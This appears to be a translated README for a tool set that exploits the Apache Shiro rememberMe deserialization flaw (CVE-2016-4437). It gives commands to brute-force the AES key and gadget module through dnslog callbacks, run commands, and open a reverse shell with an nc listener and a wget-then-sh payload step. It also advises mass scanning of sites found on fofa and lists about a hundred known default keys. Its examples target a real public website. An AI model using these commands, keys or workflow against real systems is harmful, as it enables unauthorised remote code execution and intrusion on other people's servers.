
CVE-2016-4437-Shiro-Deserialisierungs-Brute-Force-Modul und Schlüssel, Skript für Befehlsausführung und Reverse Shell
CVE-2016-4437 Shiro<=1.2.4 Deserialisierung, Tool zum Brute-Force von Modul und Key, Codeausführung und Reverse Shell
Da Shiro das rememberme-Feld im Cookie deserialisiert, wird der eingefügte Befehl ausgeführt, wenn man die Kodierung von Shiro kennt, den Schadcode mit dieser Kodierung kodiert und im Cookie des HTTP-Headers platziert. Beim Deserialisieren des rememberme-Felds des übermittelten Cookies wird der eingefügte Befehl ausgeführt, was letztlich eine Befehlsausführung ermöglicht.
Shiro verwendet standardmäßig den CookieRememberMeManager. Der Ablauf der Cookie-Verarbeitung lautet:
rememberMe-Cookiewert abrufen --> Base64-Dekodierung --> AES-Entschlüsselung --> Deserialisierung
Linux/Windows 10 werden unterstützt
Python2/Python3 werden unterstützt
Da sich unter module die ysoserial.jar befindet, ist das Projekt etwas größer; bitte um Nachsicht.
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
Muss mit http://dnslog.cn/ kombiniert werden.
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
Nach Erfolg die Aufzeichnung prüfen – das Format lautet {{key}}.{{Modul}}.dnslogurl
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
Daraus geht hervor, dass der erfolgreiche Key U3ByaW5nQmxhZGUAAAAAAA== und das Modul CommonsBeanutils1 sind.
Da der Key Zeichen wie ==/+ enthält, escapet dieses Projekt ein wenig. Man muss die Keys in Anhang 1 selbst vergleichen.
Auf fofa ein Beispiel heraussuchen

Im Internet gibt es zwar viele Tools zum Brute-Force von Modulen und Keys, aber nach einem erfolgreichen Brute-Force weiß man meist nur, dass die Verbindung steht, nicht aber, welches Modul und welcher Key verwendet wurden. Denn bei einer RCE ohne Rückgabe ist der Antwortcode unabhängig vom Erfolg immer 200. Dieses Projekt kombiniert das Brute-Force von Modul und Key mit dnslog, um den erfolgreichen Key und das Modul indirekt zu ermitteln. Das Prinzip entspricht der Bedeutung von DNSlog: DNS hinterlässt beim Auflösen Logs. Durch das Lesen der Auflösungsprotokolle mehrstufiger Domains erhält man die Request-Informationen.
Kann mit http://dnslog.cn/ kombiniert werden.
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
In dnslog wird ping rcetest.x9zm4v.dnslog.cn angezeigt. Zur Unterscheidung wird eine noch tiefere Domain-Ebene empfohlen.
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)darin CommonsBeanutils1 durch das erfolgreich ermittelte Modul ersetzt werden.key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
in den erfolgreich ermittelten Key ändern.
Auf fofa ein Beispiel heraussuchen

nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}
Aus Sicherheitsgründen lieber lokal angreifen. Das Prinzip besteht darin, JRMPListener und Payload einfach zusammenzupacken; eigentlich kann man auf jrmplistener verzichten.

Eine kleine Idee
Wenn die Maschine ausgehenden Netzwerkverkehr erlaubt, warum dann nicht direkt shiro_rec mit bash反弹shell nutzen?
Ich habe es ein paar Mal vergeblich versucht; ich vermute, dass Shiro eine Art Filterung vornimmt. Aber ich habe festgestellt, dass man zuerst per wget ein Reverse-Shell-Skript herunterladen und dann mit sh ausführen kann.
Referenz: Eine kleine Untersuchung zum Reverse Shell ohne eigenen jrmplistener
Führt anhand von Request- und Response-Headern einen einfachen Test durch – Websites mit Shiro werden in shiro.txt abgelegt.
Es wird empfohlen, zuerst mit fuzz-shiro die Shiro-Websites in shiro.txt zu sammeln und dann im Batch anzugreifen.
Der dnsLog-Eintrag lautet:
{{key}}.{{Modul}}.{{url}}.dnsurl
Selbst getestet, funktioniert ganz gut.
Führe die folgenden Befehle aus:
pip uninstall crypto pycryptodome
pip install pycryptodome
Wechsle im Python-Installationsverzeichnis in den Ordner \Lib\site-packages und benenne den Ordner crypto in Crypto um.
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==